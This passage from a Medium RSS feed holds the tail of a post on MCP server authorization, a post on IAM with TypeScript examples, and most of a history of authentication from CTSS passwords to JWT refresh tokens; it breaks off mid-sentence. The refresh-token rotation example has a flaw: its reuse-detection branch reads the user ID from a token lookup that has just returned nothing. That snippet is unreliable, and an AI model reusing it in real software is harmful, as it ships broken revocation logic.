to prevent cross-server replay</li><li>Tool-level scope enforcement — each tool maps to a required scope; a token without that scope cannot call that tool regardless of authentication status</li><li>Delegation chain verification — if an agent is acting on behalf of a user, the chain must be verified back to a human principal who authorized the specific tool and resource</li><li>Audit logging at every tool call — granted, denied, and the full context (userId, agentId, tool, scope, timestamp) for every invocation</li></ul><p><strong>Summary</strong></p><p>MCP’s rapid adoption exposed a gap that is common in new infrastructure: the protocol was defined before the security model that should govern it was fully developed. The result was thousands of MCP servers in production with authentication but no authorization — a configuration that looks secure from the outside and is trivially exploitable from within.</p><p>The 2025–11–25 specification and the June 2025 updates moved the baseline significantly. OAuth 2.1, Protected Resource Metadata, and Resource Indicators are now mandatory, not optional. But the spec establishes authentication and token mechanics. Authorization — which agent can call which tool, on which resource, under which delegation — still requires deliberate implementation by every team that ships an MCP server.</p><p>Authentication answers: who are you? Authorization answers: what are you allowed to do? MCP adoption shipped the first answer by default. The second answer is the one that determines your blast radius when something goes wrong.</p><p>—</p><p>Every tool an MCP server exposes is a capability an attacker wants. Authentication tells you who is knocking. Authorization is what decides which doors they can open — and whether the doors that should stay closed actually do.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9696adcc7f35" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[IAM: Identity and Access Management]]></title>
            <link>https://medium.com/@henriquebotega/iam-identity-and-access-management-455a11dc28fb?source=rss-f4376464f907------2</link>
            <guid isPermaLink="false">https://medium.com/p/455a11dc28fb</guid>
            <category><![CDATA[ami]]></category>
            <dc:creator><![CDATA[Anderson Henrique Botega]]></dc:creator>
            <pubDate>Mon, 10 Aug 2026 21:36:01 GMT</pubDate>
            <atom:updated>2026-08-10T21:36:01.401Z</atom:updated>
            <content:encoded><![CDATA[<p><em>The complete picture of how modern systems manage user identities and control access — and how to implement it in TypeScript</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*13V_wRwctIyCGEyeoA_38A.png" /></figure><p><strong>What is IAM?</strong></p><p>Identity and Access Management (IAM) is the discipline that ensures the right individuals have access to the right resources at the right times for the right reasons. It encompasses every process, policy, and technology involved in managing digital identities — from the moment a user account is created, through every login and permission check, to the moment the account is deactivated.</p><p>IAM is not a single product or protocol. It is an umbrella framework composed of four interconnected domains: Identity Governance and Administration (IGA), Access Management (AM), Privileged Access Management (PAM), and Directory Services. Together, they form the identity security fabric that underlies every application, API, and infrastructure component in an organization.</p><p>According to Verizon’s 2024 Data Breach Investigations Report, 68% of breaches involved a human element, and credential-based attacks grew 71% year-over-year. IAM is the primary defense against this class of threat — and increasingly, the foundation of Zero Trust architecture.</p><p><strong>The four pillars of IAM</strong></p><p><strong>1. Identity Governance and Administration (IGA)</strong></p><p>IGA is the policy layer of IAM. It defines who should have access to what, enforces those policies through automated workflows, and provides the audit trail that satisfies compliance requirements.</p><ul><li>Identity lifecycle management: automated provisioning when users join, access changes when roles change, and deprovisioning when users leave</li><li>Access certifications: periodic reviews where managers confirm or revoke access entitlements — essential for SOX, HIPAA, and ISO 27001 compliance</li><li>Segregation of Duties (SoD): preventing a single user from holding conflicting permissions (e.g., the same person who requests a payment cannot also approve it)</li><li>Role mining and access analytics: detecting overprivileged accounts and access creep — the gradual accumulation of permissions beyond what a user actually needs</li></ul><p><strong>2. Access Management (AM)</strong></p><p>Access Management is the enforcement layer — the technology that verifies identities and makes real-time access decisions. It covers authentication, authorization, and federation across all applications and APIs.</p><ul><li>Single Sign-On (SSO): authenticate once, access everything — reducing password fatigue and the attack surface of per-application credentials</li><li>Multi-Factor Authentication (MFA): layered verification using something you know, something you have, and something you are</li><li>Adaptive authentication: risk-based decisions that adjust verification requirements based on user behavior, device posture, location, and threat signals</li><li>Federation: cross-domain identity using SAML, OAuth 2.0, and OIDC, enabling users to authenticate with an external Identity Provider and access your application without a local account</li></ul><p><strong>3. Privileged Access Management (PAM)</strong></p><p>PAM is a specialized subset of IAM focused on the highest-risk accounts in any system: administrators, root users, service accounts, and anyone with elevated access to critical infrastructure. A compromised privileged account is a full breach.</p><ul><li>Just-in-time (JIT) access: grant elevated permissions only when needed, for only as long as needed, then revoke automatically</li><li>Credential vaulting: store privileged credentials in a secure vault so administrators never see raw passwords — they check out sessions, not secrets</li><li>Session recording: every privileged session is recorded and auditable, providing forensic capability after an incident</li><li>Least privilege enforcement: no standing admin access — all elevation is temporary, logged, and requires justification</li></ul><p><strong>4. Directory Services</strong></p><p>The directory is the source of truth for all identity data. It stores user attributes, group memberships, device records, and the relationships between them. Every authentication and authorization decision ultimately reads from the directory.</p><ul><li>Active Directory (AD): the dominant on-premises directory, widely used in enterprise environments, federating identity to thousands of applications via LDAP and Kerberos</li><li>Cloud identity providers: Azure Entra ID, Okta Universal Directory, and Google Workspace act as cloud-native directories with SCIM sync for automated provisioning</li><li>SCIM (System for Cross-domain Identity Management): the standard protocol for synchronizing identity data between a directory and downstream applications</li></ul><p><strong>The identity lifecycle in code</strong></p><p>IAM is not just a platform decision — it is also an architecture decision for every application you build. Here is how the four pillars map to a typical Node.js API:</p><pre>// iam/lifecycle.ts — modeling the identity lifecycle<br>export type IdentityState =<br>  | &#39;pending&#39;      // account created, awaiting approval<br>  | &#39;active&#39;       // fully provisioned, access granted<br>  | &#39;suspended&#39;    // temporarily locked (security event, leave of absence)<br>  | &#39;deprovisioned&#39;; // offboarded, all access revoked<br><br>export interface Identity {<br>  id:           string;<br>  email:        string;<br>  state:        IdentityState;<br>  roles:        string[];<br>  permissions:  string[];<br>  department:   string;<br>  mfaEnabled:   boolean;<br>  lastLogin?:   Date;<br>  createdAt:    Date;<br>  updatedAt:    Date;<br>}<br><br>// Provisioning: called when HR system creates a new employee<br>export async function provision(identity: Omit&lt;Identity, &#39;id&#39; | &#39;createdAt&#39; | &#39;updatedAt&#39;&gt;) {<br>  const user = await db.identities.create({<br>    data: { ...identity, state: &#39;pending&#39;, createdAt: new Date(), updatedAt: new Date() }<br>  });<br>  await notifyApprover(user);   // IGA: route to manager for access review<br>  await auditLog(&#39;PROVISIONED&#39;, user.id);<br>  return user;<br>}<br><br>// Deprovisioning: called when HR system marks employee as departed<br>export async function deprovision(userId: string) {<br>  await db.identities.update({<br>    where: { id: userId },<br>    data:  { state: &#39;deprovisioned&#39;, roles: [], permissions: [], updatedAt: new Date() }<br>  });<br>  await revokeAllSessions(userId);      // AM: terminate active sessions<br>  await revokeAllTokens(userId);        // AM: invalidate all access tokens<br>  await notifyDownstreamApps(userId);   // SCIM: deprovision from SaaS apps<br>  await auditLog(&#39;DEPROVISIONED&#39;, userId);<br>}</pre><p><strong>Authentication and authorization middleware</strong></p><p>The access management layer enforces identity at the API boundary. Authentication verifies who is making the request; authorization decides what they are allowed to do:</p><pre>// iam/middleware.ts — the AM enforcement layer<br>import { jwtVerify, createRemoteJWKSet } from &#39;jose&#39;;<br>import { Request, Response, NextFunction } from &#39;express&#39;;<br><br>// Step 1: Authentication — verify the token from your IdP (Okta, Auth0, etc.)<br>const JWKS = createRemoteJWKSet(new URL(process.env.JWKS_URI!));<br><br>export async function authenticate(req: Request, res: Response, next: NextFunction) {<br>  const token = req.headers.authorization?.slice(7);<br>  if (!token) return res.status(401).json({ error: &#39;Authentication required&#39; });<br><br>  try {<br>    const { payload } = await jwtVerify(token, JWKS, {<br>      issuer:   process.env.ISSUER,<br>      audience: process.env.AUDIENCE,<br>    });<br>    req.identity = payload;<br>    next();<br>  } catch {<br>    res.status(401).json({ error: &#39;Invalid or expired token&#39; });<br>  }<br>}<br><br>// Step 2: Authorization — enforce permissions (RBAC/ABAC)<br>export function authorize(permission: string) {<br>  return (req: Request, res: Response, next: NextFunction) =&gt; {<br>    const permissions = (req.identity?.permissions as string[]) ?? [];<br>    if (!permissions.includes(permission)) {<br>      auditLog(&#39;ACCESS_DENIED&#39;, req.identity?.sub, permission, req.path);<br>      return res.status(403).json({ error: &#39;Insufficient permissions&#39; });<br>    }<br>    auditLog(&#39;ACCESS_GRANTED&#39;, req.identity?.sub, permission, req.path);<br>    next();<br>  };<br>}<br><br>// Usage: authentication + authorization + audit trail on every route<br>app.get(&#39;/api/financials&#39;, authenticate, authorize(&#39;read:financials&#39;),<br>  async (req, res) =&gt; res.json(await getFinancials())<br>);</pre><p><strong>Privileged access: just-in-time elevation</strong></p><p>Standard users should never hold standing admin privileges. PAM enforces this by making all elevation temporary, auditable, and request-based:</p><pre>// iam/pam.ts — just-in-time privileged access<br>interface PrivilegedSession {<br>  userId:     string;<br>  resource:   string;<br>  permission: string;<br>  justification: string;<br>  expiresAt:  Date;<br>  sessionId:  string;<br>}<br><br>export async function requestElevation(<br>  userId: string,<br>  resource: string,<br>  permission: string,<br>  justification: string,<br>  durationMinutes: number<br>): Promise&lt;PrivilegedSession&gt; {<br>  // Notify approver — PAM requires explicit human approval for privileged access<br>  const approved = await requestApproval({ userId, resource, permission, justification });<br>  if (!approved) throw new Error(&#39;Elevation request denied&#39;);<br><br>  const session: PrivilegedSession = {<br>    userId, resource, permission, justification,<br>    sessionId: crypto.randomUUID(),<br>    expiresAt: new Date(Date.now() + durationMinutes * 60_000),<br>  };<br><br>  await db.privilegedSessions.create({ data: session });<br>  await auditLog(&#39;PRIVILEGE_GRANTED&#39;, userId, { resource, permission, durationMinutes });<br>  return session;<br>}<br><br>export async function checkPrivilegedAccess(<br>  userId: string,<br>  resource: string,<br>  permission: string<br>): Promise&lt;boolean&gt; {<br>  const session = await db.privilegedSessions.findFirst({<br>    where: {<br>      userId, resource, permission,<br>      expiresAt: { gt: new Date() }  // TTL check<br>    }<br>  });<br>  return session !== null;<br>}</pre><p><strong>Audit logging: the accountability layer</strong></p><p>IAM without audit logging is incomplete. Every access decision — granted, denied, elevated, or revoked — must be recorded with enough context to reconstruct exactly what happened and why. This is the foundation of both security incident response and compliance reporting:</p><pre>// iam/audit.ts — structured audit log for all IAM events<br>type IAMEvent =<br>  | &#39;PROVISIONED&#39; | &#39;DEPROVISIONED&#39; | &#39;SUSPENDED&#39;<br>  | &#39;ACCESS_GRANTED&#39; | &#39;ACCESS_DENIED&#39;<br>  | &#39;PRIVILEGE_GRANTED&#39; | &#39;PRIVILEGE_EXPIRED&#39;<br>  | &#39;MFA_ENROLLED&#39; | &#39;MFA_CHALLENGED&#39; | &#39;MFA_FAILED&#39;<br>  | &#39;TOKEN_ISSUED&#39; | &#39;TOKEN_REVOKED&#39;<br>  | &#39;ACCESS_CERT_APPROVED&#39; | &#39;ACCESS_CERT_REVOKED&#39;;<br><br>interface AuditEntry {<br>  event:     IAMEvent;<br>  actorId?:  string;     // who performed the action<br>  targetId?: string;     // who was affected<br>  resource?: string;<br>  metadata?: Record&lt;string, unknown&gt;;<br>  timestamp: string;<br>  requestId: string;<br>}<br><br>export function auditLog(<br>  event: IAMEvent,<br>  actorId?: string,<br>  metadata?: Record&lt;string, unknown&gt;<br>) {<br>  const entry: AuditEntry = {<br>    event,<br>    actorId,<br>    metadata,<br>    timestamp: new Date().toISOString(),<br>    requestId: crypto.randomUUID(),<br>  };<br>  // Emit as structured JSON — ingested by SIEM (Splunk, Datadog, etc.)<br>  console.log(JSON.stringify(entry));<br>  // Persist to append-only audit store<br>  db.auditLogs.create({ data: entry }).catch(console.error);<br>}</pre><p><strong>How the IAM ecosystem fits together</strong></p><p>IAM is not a single system — it is a stack of complementary components. In a modern architecture, these map to concrete tools and responsibilities:</p><ul><li>Identity Provider (IdP): Okta, Auth0, Azure Entra ID — the source of truth for authentication and identity claims</li><li>Access Management: RBAC/ABAC policies enforced in your API middleware, or delegated to an authorization engine like OpenFGA, Casbin, or AWS IAM</li><li>Privileged Access Management: CyberArk, HashiCorp Vault, or AWS IAM Identity Center for just-in-time elevation and credential vaulting</li><li>IGA: SailPoint, Saviynt, or Okta Identity Governance for access certifications and lifecycle automation</li><li>Directory: Active Directory, Azure Entra ID, or Okta Universal Directory as the canonical identity store, synchronized to all downstream applications via SCIM</li></ul><p><strong>Summary</strong></p><p>IAM is the identity security fabric that underlies every access decision in your organization. Getting it right means thinking in four layers simultaneously: governing who should have access (IGA), enforcing it at runtime (AM), protecting the highest-risk accounts (PAM), and maintaining a reliable source of truth for all identity data (Directory). Each layer has its own tools, protocols, and failure modes — but they only work when they compose cleanly.</p><p>The articles in this series cover each component in depth: RBAC, ABAC, ReBAC, and NGAC for authorization models; OAuth 2.0, OIDC, JWT, and Zero Trust for authentication and access control; Auth0 and Okta for identity platform choices; and IBAC for the emerging challenge of agentic AI authorization. IAM is the discipline that brings all of them together into a coherent system.</p><p>—</p><p>Most security incidents are not failures of technology — they are failures of identity governance. An orphaned account, an over-permissioned role, an unreviewed access certification, a privileged credential stored in a spreadsheet. IAM exists to make those failures systematic and auditable rather than accidental and invisible. That is not a cybersecurity concern alone. It is an engineering responsibility.</p><p>The full working project for this article — backend, frontend, and tests — is available on GitLab:<br>👉 <a href="https://gitlab.com/iam-access-control/iam-identity-and-access-management">https://gitlab.com/iam-access-control/iam-identity-and-access-management</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=455a11dc28fb" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The evolution of authentication]]></title>
            <link>https://medium.com/@henriquebotega/the-evolution-of-authentication-90ba3401a5c0?source=rss-f4376464f907------2</link>
            <guid isPermaLink="false">https://medium.com/p/90ba3401a5c0</guid>
            <category><![CDATA[authentication]]></category>
            <dc:creator><![CDATA[Anderson Henrique Botega]]></dc:creator>
            <pubDate>Mon, 03 Aug 2026 19:46:01 GMT</pubDate>
            <atom:updated>2026-08-03T19:46:01.416Z</atom:updated>
            <content:encoded><![CDATA[<p><em>From a shared mainframe at MIT in 1961 to refresh token rotation in 2025 — the full history of how systems learned to ask: who are you?</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*ZX5JhgnoztZKQ8PaZA45JQ.png" /></figure><p><strong>The question that started everything</strong></p><p>Authentication is older than computers. Roman soldiers used daily watchwords to identify each other. Medieval guilds required pass-phrases to enter workshops. Secret societies had elaborate rituals to verify membership. The underlying problem has never changed: how do you prove, to a system that cannot see you, that you are who you claim to be?</p><p>For most of human history, the answer was a shared secret — something only the legitimate party would know. When computers arrived, that same answer was carried forward, almost unchanged. A word typed at a terminal. The same logic, a new medium.</p><p>What changed over sixty years was not the problem. It was the scale, the attack surface, and the stakes. Each era of authentication evolved in direct response to the failures of the one before it. This is that history.</p><p><strong>1961 — CTSS and the birth of the password</strong></p><p>The first computer password was born out of a practical inconvenience, not a security threat. Fernando Corbató and his colleagues at MIT were building CTSS — the Compatible Time-Sharing System — the world’s first general-purpose time-sharing operating system, demonstrated on IBM’s modified 709 mainframe in November 1961.</p><p>The problem was straightforward: multiple researchers needed to share a single expensive computer, but each needed their own private set of files. There was no network, no remote access, no adversary to speak of — just researchers who did not want their colleagues reading their work.</p><p>Corbató’s solution was elegantly simple: assign each user a unique name and a private word. When you sat down at one of the three Flexowriter terminals connected to the machine, you typed your name and your word. The system checked them against a stored list and gave you access to your files. Nobody else could read them.</p><p>It worked. But from the very beginning, the system was more fragile than it appeared. In 1962, a researcher discovered a flaw in the CTSS password file, printed out the entire list, and accidentally distributed it to other users — arguably the first password breach in computing history. The password was two years old and already broken.</p><p>The lesson was not learned immediately. Passwords became the universal default for computer authentication precisely because they required nothing but a shared secret — no hardware, no infrastructure, no protocol. They were cheap to implement and easy to understand. For the next twenty years, they were essentially the only mechanism that existed.</p><p><strong>1970s–1980s — Passwords go mainstream and the first cracks appear</strong></p><p>As computing spread from research institutions to universities, corporations, and eventually consumer markets, passwords scaled with it. Unix, released in 1969 and widely deployed through the 1970s, stored hashed passwords in /etc/passwd — a public file that any user could read. Security depended on the hash being computationally difficult to reverse.</p><p>Robert Morris and Ken Thompson’s 1979 paper “Password Security: A Case History” documented something alarming: many users chose passwords so common that a simple dictionary attack could break most accounts on a typical system in minutes. The attack that seemed theoretical turned out to be trivially practical. The paper recommended password aging, minimum length requirements, and user education. Most of those recommendations would be ignored for the next two decades.</p><p>The deeper problem was structural. Passwords depended on users to choose secrets that were both hard to guess and easy to remember — two properties that pull in opposite directions. The stronger the password, the harder it is to remember. The easier to remember, the weaker it tends to be. No amount of policy could fully resolve that tension.</p><p><strong>1990s — Security questions: a second secret that was barely secret</strong></p><p>The explosion of consumer internet in the 1990s brought millions of new users online, most of whom had never managed a password before. The result was a help desk crisis: forgotten passwords generated an enormous volume of support tickets, at significant cost to AOL, Yahoo, and the other early internet services.</p><p>The solution the industry reached for was the security question. If you forgot your password, the system would ask you something only you should know: your mother’s maiden name, the street you grew up on, your first pet. If your answer matched what you had provided at registration, the system would let you reset your password.</p><p>Security questions had one genuine advantage: they required no infrastructure. No email server, no phone number, no external system. Just another shared secret stored alongside the password hash.</p><p>The problems were fundamental and, in retrospect, obvious. The questions relied on facts that were not actually secret — many answers were publicly available in birth records, social media profiles, or through simple social engineering. A 2009 IEEE study found that acquaintances could guess 17% of security question answers on the first try. Users forgot their own answers 20% of the time within six months.</p><p>More critically, security questions reduced the effective security of an account to the weakest of two secrets. An attacker who could not crack the password could try the recovery path instead. The 2016 Yahoo breach — affecting all 3 billion accounts — exposed security questions and answers in plain text. The industry’s response was to deprecate them, but millions of systems still use them today.</p><p><strong>2000s — Single Sign-On: one identity, many systems</strong></p><p>As organizations began deploying dozens, then hundreds of applications, a new problem emerged: credential sprawl. Each application maintained its own user database. Each login was a separate username and password. Users maintained dozens of credentials, most of which were weak variants of the same few passwords. IT departments managed dozens of identity stores that drifted out of sync every time someone joined, changed roles, or left.</p><p>Single Sign-On (SSO) addressed this by introducing a centralized identity provider. A user authenticates once — to the IdP — and receives a credential that other applications accept without requiring a separate login. The user’s browser or client presents that credential to each application; the application verifies it with the IdP rather than checking a local password database.</p><p>The dominant enterprise protocol for SSO was SAML — Security Assertion Markup Language — standardized in 2002. SAML is XML-based and was designed for the browser-based, enterprise application context of its era. An identity provider issues a signed XML assertion containing claims about the user. The service provider verifies the signature and trusts the claims.</p><pre>&lt;!-- SAML assertion (simplified) — the IdP vouches for the user --&gt;<br>&lt;saml:Assertion&gt;<br>  &lt;saml:Issuer&gt;https://idp.company.com&lt;/saml:Issuer&gt;<br>  &lt;saml:Subject&gt;<br>    &lt;saml:NameID&gt;alice@company.com&lt;/saml:NameID&gt;<br>  &lt;/saml:Subject&gt;<br>  &lt;saml:AttributeStatement&gt;<br>    &lt;saml:Attribute Name=&quot;role&quot;&gt;<br>      &lt;saml:AttributeValue&gt;analyst&lt;/saml:AttributeValue&gt;<br>    &lt;/saml:Attribute&gt;<br>  &lt;/saml:AttributeStatement&gt;<br>  &lt;!-- Signed with IdP&#39;s private key --&gt;<br>&lt;/saml:Assertion&gt;</pre><p>SAML worked well for its context — corporate intranet, browser-based applications, controlled environments. It did not translate well to the mobile-first, API-driven, consumer-scale web that arrived a few years later.</p><p><strong>2006–2012 — OAuth: authorization without passwords</strong></p><p>The rise of third-party applications created a new authentication problem that passwords and SSO did not address. A Twitter client needed to post on your behalf. A calendar app needed to read your Google contacts. A photo editor needed access to your Flickr account. The only mechanism available was to give the third-party app your username and password — which gave it full, permanent, unrevocable access to your entire account.</p><p>OAuth was designed to solve this. Created in 2006 by Blaine Cook and Chris Messina, and standardized as OAuth 1.0 in 2010 and OAuth 2.0 in 2012, it introduced the concept of delegated authorization: a user could grant a third-party application limited access to their account on a service, without ever sharing their credentials.</p><p>The key innovation was the access token. Instead of receiving your password, the application receives a token — a credential that represents a specific, limited set of permissions (scopes) for a specific period of time. The user authorizes this grant explicitly, seeing exactly what permissions are being requested. Tokens can be revoked individually without affecting other applications or the user’s primary credentials.</p><pre>// OAuth 2.0 Authorization Code flow<br>// Step 1: redirect the user to the authorization server<br>const authUrl = new URL(&#39;https://accounts.google.com/o/oauth2/auth&#39;);<br>authUrl.searchParams.set(&#39;client_id&#39;,     CLIENT_ID);<br>authUrl.searchParams.set(&#39;redirect_uri&#39;,  REDIRECT_URI);<br>authUrl.searchParams.set(&#39;response_type&#39;, &#39;code&#39;);<br>authUrl.searchParams.set(&#39;scope&#39;,         &#39;email profile&#39;);<br><br>// Step 2: exchange the authorization code for an access token<br>const tokens = await fetch(&#39;https://oauth2.googleapis.com/token&#39;, {<br>  method: &#39;POST&#39;,<br>  body: new URLSearchParams({<br>    code:          authorizationCode,<br>    client_id:     CLIENT_ID,<br>    client_secret: CLIENT_SECRET,<br>    redirect_uri:  REDIRECT_URI,<br>    grant_type:    &#39;authorization_code&#39;,<br>  }),<br>}).then(r =&gt; r.json());<br><br>// tokens.access_token — limited credential, not the user&#39;s password<br>// tokens.scope        — exactly what was authorized<br>// tokens.expires_in   — automatic expiry</pre><p>OAuth 2.0 was a significant advance, but it had a deliberate limitation: it was an authorization framework, not an authentication protocol. An access token told you what a client was allowed to do. It did not tell you who the user was. Applications built their own ad-hoc layers on top of OAuth to handle identity — and did so inconsistently, creating a fragmented ecosystem of incompatible identity claims.</p><p><strong>2014 — OpenID Connect: identity on top of OAuth</strong></p><p>OpenID Connect, finalized in 2014, solved the identity problem that OAuth deliberately left open. Built as a thin layer on top of OAuth 2.0, OIDC added a single critical element: the ID token — a signed JWT containing verified claims about who the user is.</p><p>The distinction between OAuth and OIDC is precise and important: OAuth answers “what can this application do on behalf of this user?”. OIDC answers “who is this user?”. Including the openid scope in an OAuth request triggers the OIDC layer and causes the authorization server to issue an ID token alongside the access token.</p><pre>// ID token — a signed JWT issued by the authorization server<br>// Header<br>{<br>  &quot;alg&quot;: &quot;RS256&quot;,<br>  &quot;kid&quot;: &quot;key-id-from-jwks&quot;<br>}<br><br>// Payload — standard OIDC claims<br>{<br>  &quot;iss&quot;: &quot;https://accounts.google.com&quot;,   // issuer<br>  &quot;sub&quot;: &quot;1234567890&quot;,                    // unique user ID<br>  &quot;aud&quot;: &quot;your-client-id&quot;,                // intended audience<br>  &quot;iat&quot;: 1700000000,                        // issued at<br>  &quot;exp&quot;: 1700003600,                        // expires at (1 hour)<br>  &quot;email&quot;: &quot;alice@example.com&quot;,<br>  &quot;name&quot;:  &quot;Alice&quot;<br>}<br><br>// Signature — verified against the IdP&#39;s public key from /jwks.json<br>// Never trust an ID token without verifying: signature + iss + aud + exp</pre><p>OIDC became the universal standard for federated identity on the web. Every major identity provider — Google, Microsoft, Apple, Auth0, Okta — implements it. It is the protocol that powers “Sign in with Google” and every enterprise SSO flow built after 2015.</p><p><strong>Sessions: statefulness as a feature</strong></p><p>While federated identity protocols evolved, the most common mechanism for maintaining authentication state within a single application remained the server-side session — a pattern that predates OAuth by a decade and remains, for many use cases, the most appropriate choice.</p><p>When a user authenticates, the server generates a random, unpredictable session ID, stores the session state in a database or cache (typically Redis), and sends the session ID to the client in an HttpOnly cookie. On every subsequent request, the browser automatically sends the cookie, the server looks up the session, and access is granted based on what the session contains.</p><pre>// Server-side session setup — Node.js + Express + Redis<br>import session from &#39;express-session&#39;;<br>import RedisStore from &#39;connect-redis&#39;;<br><br>app.use(session({<br>  store:  new RedisStore({ client: redisClient }),<br>  secret: process.env.SESSION_SECRET!,<br>  resave: false,<br>  saveUninitialized: false,<br>  cookie: {<br>    httpOnly: true,   // not accessible via JavaScript<br>    secure:   true,   // HTTPS only<br>    sameSite: &#39;lax&#39;,  // CSRF mitigation<br>    maxAge:   1000 * 60 * 60 * 8, // 8 hours<br>  },<br>}));<br><br>// Login: store identity in session<br>app.post(&#39;/login&#39;, async (req, res) =&gt; {<br>  const user = await validateCredentials(req.body);<br>  req.session.userId = user.id;<br>  req.session.role   = user.role;<br>  res.json({ ok: true });<br>});<br><br>// Logout: instant revocation — delete the server-side record<br>app.post(&#39;/logout&#39;, (req, res) =&gt; {<br>  req.session.destroy(() =&gt; res.json({ ok: true }));<br>});</pre><p>Sessions have one decisive advantage that no stateless mechanism can match: instant revocation. Delete the session record and the user is logged out immediately, on every device, with no grace period. For applications that need to respond to security incidents, compromised accounts, or compliance requirements, this property is not optional.</p><p><strong>JWT: stateless authentication for distributed systems</strong></p><p>JSON Web Tokens emerged as a different answer to the same problem — one optimized for distributed architectures rather than monolithic applications. Instead of storing state on the server, a JWT encodes the authentication state directly in the token, signs it cryptographically, and sends it to the client. On every request, the client presents the token; the server verifies the signature and trusts the claims without a database lookup.</p><pre>// Issuing a JWT<br>import jwt from &#39;jsonwebtoken&#39;;<br><br>const accessToken = jwt.sign(<br>  { sub: user.id, role: user.role, email: user.email },<br>  process.env.JWT_SECRET!,<br>  { expiresIn: &#39;15m&#39; }   // short-lived: limits damage if stolen<br>);<br><br>// Verifying a JWT on an API route<br>app.get(&#39;/api/me&#39;, (req, res) =&gt; {<br>  const token = req.headers.authorization?.slice(7);<br>  if (!token) return res.status(401).json({ error: &#39;No token&#39; });<br><br>  try {<br>    const payload = jwt.verify(token, process.env.JWT_SECRET!) as JwtPayload;<br>    res.json({ userId: payload.sub, role: payload.role });<br>  } catch {<br>    res.status(401).json({ error: &#39;Invalid or expired token&#39; });<br>  }<br>});</pre><p>The stateless property is JWT’s core strength in distributed systems: a microservice can verify a token independently, without calling a central session store. A token issued by the authentication service can be verified by the payments service, the notifications service, and the analytics service — all without any shared state between them.</p><p>The weakness is the mirror image of the strength: a valid JWT cannot be revoked before it expires. If a token is stolen, or a user’s role changes, or an account is compromised, the token remains valid until its expiry time. The standard workaround — a Redis blocklist of revoked token IDs — re-introduces the statefulness that JWTs were meant to eliminate.</p><p><strong>Refresh tokens: bridging statefulness and statelessness</strong></p><p>The practical solution to JWT’s revocation problem is the refresh token pattern — a design that combines the efficiency of stateless access tokens with a controlled point of statefulness for rotation and revocation.</p><p>The pattern works in two layers. Access tokens are short-lived — typically 5 to 15 minutes — and stateless. They carry the user’s identity and permissions and are verified without a database lookup. Refresh tokens are long-lived — days or weeks — and stateful. They are stored in the database, issued once at login, and exchanged for new access tokens when the current one expires.</p><pre>// Refresh token rotation — the recommended pattern<br>app.post(&#39;/auth/refresh&#39;, async (req, res) =&gt; {<br>  const refreshToken = req.cookies.refreshToken;<br>  if (!refreshToken) return res.status(401).json({ error: &#39;No refresh token&#39; });<br><br>  // Validate: is this token in the database and not yet revoked?<br>  const stored = await db.refreshTokens.findUnique({<br>    where: { token: refreshToken, revoked: false }<br>  });<br>  if (!stored) {<br>    // Token reuse detected — possible token theft<br>    // Revoke all tokens for this user (nuclear option)<br>    await db.refreshTokens.updateMany({<br>      where: { userId: stored?.userId },<br>      data:  { revoked: true }<br>    });<br>    return res.status(401).json({ error: &#39;Token reuse detected&#39; });<br>  }<br><br>  const payload = jwt.verify(refreshToken, process.env.REFRESH_SECRET!) as JwtPayload;<br>  const user = await db.users.findUnique({ where: { id: payload.sub } });<br><br>  // Rotate: revoke the old token, issue a new pair<br>  await db.refreshTokens.update({ where: { token: refreshToken }, data: { revoked: true } });<br><br>  const newAccess  = jwt.sign({ sub: user.id, role: user.role }, process.env.JWT_SECRET!,     { expiresIn: &#39;15m&#39; });<br>  const newRefresh = jwt.sign({ sub: user.id },                  process.env.REFRESH_SECRET!, { expiresIn: &#39;7d&#39;  });<br><br>  await db.refreshTokens.create({ data: { token: newRefresh, userId: user.id } });<br><br>  res.cookie(&#39;refreshToken&#39;, newRefresh, { httpOnly: true, secure: true, sameSite: &#39;strict&#39; });<br>  res.json({ accessToken: newAccess });<br>});</pre><p>Refresh token rotation has two security properties that make it the recommended pattern for modern authentication. First, each refresh token is used exactly once — the moment it is exchanged, it is revoked and replaced. This limits the window of exposure for a stolen token. Second, token reuse detection: if the same refresh token is presented twice, something has gone wrong — either the client is misbehaving or the token was stolen. The appropriate response is to revoke all tokens for that user and force a full re-authentication.</p><p>Refresh tokens should be stored in HttpOnly cookies — inaccessible to JavaScript and therefore immune to XSS attacks — rather than in localStorage or in-memory where they can be exfiltrated through client-side vulnerabilities.</p><p><strong>Where we are now</strong></p><p>Authentication in 2025 is a layered system — rarely a single mechanism, almost always a combination. The Authorization Code flow with PKCE (mandatory in OAuth 2.1) handles federated identity. OIDC adds verified identity claims. Short-lived JWTs carry stateless authorization across services. Refresh token rotation provides the controlled statefulness needed for revocation. Server-side sessions remain the right choice for monolithic applications where instant revocation is non-negotiable.</p><p>Passkeys — the FIDO2-based passwordless standard backed by Apple, Google, and Microsoft — are the most significant structural change to authentication since OAuth 2.0. They replace the password entirely with a public-key cryptographic credential bound to a device, resistant to phishing, and immune to credential stuffing. As of 2025, passkey adoption is growing rapidly in consumer applications and beginning to enter enterprise contexts.</p><p>The thread running through sixty years of authentication evolution is consistent: every mechanism fails when it becomes ubiquitous enough to be attacked at scale, and every successor inherits some version of the problem it was meant to solve. Passwords replaced a more complex shared-secret model and were immediately attacked by dictionary attacks. Security questions reduced the security of accounts to their weakest factor. OAuth tokens can be stolen and abused before expiry. Refresh tokens, if not rotated, become long-lived credentials as dangerous as the passwords they replaced.</p><p><strong>Summary</strong></p><ul><li>1961 — CTSS introduced the first computer password: a shared secret to separate files on a shared mainframe</li><li>1970s–80s — Passwords scaled with Unix and the internet, but dictionary attacks and weak user choices exposed structural limits</li><li>1990s — Security questions solved the help desk cost problem and created a larger security problem: a recoverable, guessable second factor</li><li>2000s — SSO and SAML centralized enterprise identity, eliminating credential sprawl at the cost of making the IdP a single point of failure</li><li>2006–2012 — OAuth 2.0 introduced delegated authorization: applications get limited tokens, not user credentials</li><li>2014 — OpenID Connect added identity to OAuth: the ID token answered “who is this user?” in a standard, verifiable way</li><li>Sessions — stateful, instantly revocable, the right default for monolithic applications and regulated environments</li><li>JWT — stateless, portable across services, short-lived access tokens for distributed architectures</li><li>Refresh tokens — the bridge: short-lived stateless access + long-lived stateful rotation, with reuse detection as a theft signal</li></ul><p>—</p><p>Authentication has never been a solved problem — it has been a 